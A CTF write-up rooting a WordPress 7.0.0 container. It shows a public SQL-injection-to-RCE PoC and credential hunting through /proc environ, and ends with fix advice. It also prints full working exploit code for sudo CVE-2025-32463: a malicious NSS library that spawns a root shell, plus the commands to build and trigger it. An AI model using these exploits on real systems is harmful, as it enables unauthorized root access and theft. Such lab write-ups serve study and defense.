DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

BrunnerCTF : WordPressed to Root Writeup

Overview

The box ships a mostly-stock WordPress 7.0.0 install on PHP 8.2 / Apache, running on a Debian Trixie base image, packaged as a Docker/Kubernetes challenge deployment. Initial access comes through a deliberately vulnerable plugin (wp2shell) that hands over a www-data shell. Privilege escalation is the real puzzle: the box is hardened against the usual container-escape and SUID tricks, and the intended path is a real, recent CVE in sudo itself.

Recon

The challenge source was distributed as a zip (boot2root_wordpressed-to-root.zip) containing the Docker build context:

.
├── docker
│   ├── entrypoint.sh
│   ├── install.php
│   └── seed.php
├── docker-compose.yml
├── Dockerfile
└── theme
    └── brunnerne-docs
        ├── footer.php
        ├── functions.php
        ├── header.php
        ├── index.php
        └── style.css
Enter fullscreen mode Exit fullscreen mode

Dockerfile pins the interesting versions:

FROM wordpress:7.0.0-php8.2-apache@sha256:0b6e5bf0ed2518696a34ba3812370743b0ad3e2676882967ff5c712e51425c03 AS wordpress-source
FROM debian:trixie-20240408-slim@sha256:70955dce615f114142818e95339f6ae9b461cf424d79d59ca2b04ec725d4dbc8
...
apache2 ca-certificates curl gcc libc6-dev libapache2-mod-php8.2 \
php8.2 php8.2-curl php8.2-gd php8.2-mbstring php8.2-mysql php8.2-xml php8.2-zip sudo
Enter fullscreen mode Exit fullscreen mode

Two details stand out immediately:

  • gcc and libc6-dev are installed in the runtime image, not just a build stage. That is a strong hint that compiling a local privilege-escalation PoC on-box is part of the intended path.
  • sudo is installed, which combined with the previous point points straight at a sudo local-root bug rather than a container escape.

docker-compose.yml also leaks the DB credentials up front (default WordPress dev creds - not the actual privesc path, but useful context):

MARIADB_DATABASE: wordpress
MARIADB_USER: wordpress
MARIADB_PASSWORD: wordpress
MARIADB_ROOT_PASSWORD: rootpassword
Enter fullscreen mode Exit fullscreen mode

docker/entrypoint.sh is the key file for understanding the box's behavior at runtime. On first boot it generates a random WordPress admin account and exports the credentials into the container's environment:

install_wordpress() {
    admin_user="brunnerne_$(openssl rand -hex 6)"
    admin_password="$(openssl rand -hex 24)"
    export BRUNNERNE_ADMIN_USER="$admin_user"
    export BRUNNERNE_ADMIN_PASSWORD="$admin_password"
    ...
}
Enter fullscreen mode Exit fullscreen mode

Because these are exported rather than passed only to the one-off install script, they end up in the environment of every child process spawned afterward - including the Apache/PHP workers. That is the loose thread that eventually pays off (see "Credential and secret hunting" below).

The theme directory brunnerne-docs is deliberately excluded from the chown www-data:www-data sweep the entrypoint runs:

find /var/www/html \
    -path /var/www/html/wp-content/themes/brunnerne-docs -prune \
    -o -exec chown www-data:www-data {} +
Enter fullscreen mode Exit fullscreen mode

That makes the theme files root-owned but still world-readable - a natural place to go looking for a root-owned/root-executed hook once you have a foothold, though in this run it turned out to be a red herring (no exploitable eval/system/file-write calls were found in functions.php).

Initial Access - wp2shell-poc (CVE-2026-63030 & CVE-2026-60137)

WordPress 7.0.0 is in scope for a real, recent chain. Icex0/wp2shell-poc is a public PoC (not bundled with the challenge - pulled down separately) for an unauthenticated SQL injection in WordPress core that escalates to full RCE:

  • CVE-2026-63030 - unauthenticated blind SQL injection via REST batch route confusion. The /wp-json/batch/v1 endpoint dispatches several sub-requests in one call, tracking the matched handler and the validation result in two parallel arrays indexed by offset. A sub-request whose path fails wp_parse_url() gets appended to the validation array but not the handler array, so the arrays desync and a sub-request ends up dispatched under a different sub-request's handler. Nesting the primitive twice bypasses both the REST method allow-list and parameter validation, landing an attacker-controlled string (author_exclude, taken from the users schema but resolved against WP_Query) directly in a SQL query as author__not_in - reachable pre-auth. Affects WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1 (fixed in 6.9.5 / 7.0.2), which lines up exactly with the wordpress:7.0.0-php8.2-apache base image in the Dockerfile.
  • CVE-2026-60137 - the second half of the chain, used for the post-exploitation RCE step once admin credentials are recovered from the SQLi.

Usage against the target:

./wp2shell.py check http://target                       # confirm the injection (time-based, safe)
./wp2shell.py read http://target --preset users          # dump user_login / user_pass hashes
./wp2shell.py shell http://target --user admin --password '<recovered>' -i   # plugin-upload RCE
Enter fullscreen mode Exit fullscreen mode

read --preset users pulls the admin password hash straight out of the database via the blind SQLi; once that hash is cracked, shell uses the recovered plaintext to log in and drop a plugin webshell for command execution. Running the shell step against the target produced a working reverse shell as www-data:

You have a working reverse shell as www-data (via the wp2shell plugin) inside the challenge container.
The flag is at /root/flag (mode 0600, owned by root).
Enter fullscreen mode Exit fullscreen mode

The landing directory in the shell confirms the plugin-upload delivery described in the PoC:

www-data@...:/var/www/html/wp-content/plugins/wp2shell_72662939$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Enumeration as www-data

Standard low-priv enumeration came back mostly clean - this box does not want you finding a lazy SUID binary or a writable cron job:

  • SUID set: only the standard sudo, su, mount, passwd, etc. Nothing custom.
  • getcap -r / 2>/dev/null - empty, no interesting capabilities.
  • No world-writable root-owned files.
  • No mysql client, no ping on the box.
  • Hostname pattern (...-global-9569b6b84-9jlvf) confirms this is a Kubernetes pod, but the service-account token path was empty - no in-cluster API abuse available.
root running point
sudo -V | head -5
Sudo version 1.9.15p5
Sudoers policy plugin version 1.9.15p5
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.15p5
Sudoers audit plugin version 1.9.15p5
Enter fullscreen mode Exit fullscreen mode

sudo 1.9.15p5 is the number that matters - flagged below.

Credential and secret hunting

Since RCE was already available through PHP, I dumped WordPress secrets directly from the DB rather than trying to install a MySQL client:

php -r '
$m = new mysqli("db", "wordpress", "wordpress", "wordpress");
$r = $m->query("SELECT user_login, user_pass FROM wp_users");
while ($row = $r->fetch_assoc()) print_r($row);
'
Enter fullscreen mode Exit fullscreen mode

That confirmed the WordPress-side admin account but didn't give a system credential. The actual find was in /proc/*/environ, where Apache worker processes still carried the admin credentials the entrypoint had exported at install time:

for p in /proc/[0-9]*; do
  [ -r "$p/environ" ] && { echo "===== $p ====="; tr '\0' '\n' < "$p/environ" | grep -E 'FLAG|PASS|BRUNNER|CHALLENGE|ROOT|SUDO'; }
done 2>/dev/null

===== /proc/180 =====
BRUNNERNE_ADMIN_USER=brunnerne_dd668ff1ff31
BRUNNERNE_ADMIN_PASSWORD=cbb69521526443f483730062259eb48efb35218a342d30f9
Enter fullscreen mode Exit fullscreen mode

Tempting - but it's a dead end for sudo, since it's only the WordPress login, not a system account credential:

echo 'rootpassword' | sudo -S id   # MariaDB root password, wrong scope
echo 'wordpress'    | sudo -S id   # MariaDB app password, wrong scope
echo '' | sudo -S id               # empty, wrong

[sudo] password for www-data: Sorry, try again.
sudo: no password was provided
sudo: 1 incorrect password attempt
Enter fullscreen mode Exit fullscreen mode

sudo -l without a valid password also refuses to reveal anything useful, and www-data has no sudoers entry to fall back on. At this point the box is confirmed to not be about credentialed sudo access - it's about the sudo binary itself.

Privilege Escalation - CVE-2025-32463 (sudo chroot / "chwoot")

sudo 1.9.15p5 falls in the vulnerable range for CVE-2025-32463, disclosed by Rich Mirch (Stratascale CRU) and affecting sudo 1.9.14 through 1.9.17. The --chroot/-R option was changed in 1.9.14 to resolve paths - including /etc/nsswitch.conf - from inside the user-supplied chroot directory before the sudoers policy has been evaluated. Since /etc/nsswitch.conf controls how the C library resolves NSS lookups (like passwd), pointing it at an attacker-controlled shared object gets that object dlopen()'d by the still-privileged sudo process. No sudoers entry and no valid password are required.

Steps:

  1. Build a malicious NSS module whose constructor runs before main(), drops a root shell:
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor)) void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash", "bash", NULL);
}
Enter fullscreen mode Exit fullscreen mode
  1. Compile it as a shared object and stage a fake chroot directory pointing nsswitch.conf at it:
cd /tmp
mkdir -p woot/etc libnss_
gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf
cp /etc/group woot/etc/
Enter fullscreen mode Exit fullscreen mode
  1. Trigger it with sudo -R:
sudo -R woot woot
Enter fullscreen mode Exit fullscreen mode

Result:

$ sudo -R woot woot
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Enter fullscreen mode Exit fullscreen mode

Root shell, confirmed by id. Grabbing the flag from there:

cd /root
ls
flag
cat flag
brunner{tw0_cv3s_0n3_r00t}
Enter fullscreen mode Exit fullscreen mode

Root Cause Summary

  • Initial access: WordPress core unauthenticated blind SQL injection via REST batch route confusion (CVE-2026-63030), chained through recovered admin credentials into a plugin-upload RCE (CVE-2026-60137) - wp2shell-poc end to end, giving unauthenticated-to-www-data RCE.
  • Privilege escalation: sudo 1.9.15p5 is vulnerable to CVE-2025-32463 - the -R/--chroot option lets any local user (no sudoers entry, no password) get sudo to load an attacker-controlled NSS shared library from inside a self-supplied chroot, running arbitrary code as root.
  • Fix: upgrade to sudo >= 1.9.17p1, where the premature chroot path resolution is reverted and --chroot is deprecated outright.

Lessons

  • Always check sudo -V (and any other privileged binary's version) early and cross-reference against recent CVEs before reaching for generic/combined LPE scripts - the version string was available from the first minute on the box.
  • gcc/libc6-dev being present in a runtime image is a strong signal the intended path involves compiling something on-target.
  • Leaking install-time secrets via export in an entrypoint script is a realistic misconfiguration pattern worth checking /proc/*/environ for on any box with RCE, even when the leaked credential itself turns out to be the wrong scope.

Top comments (0)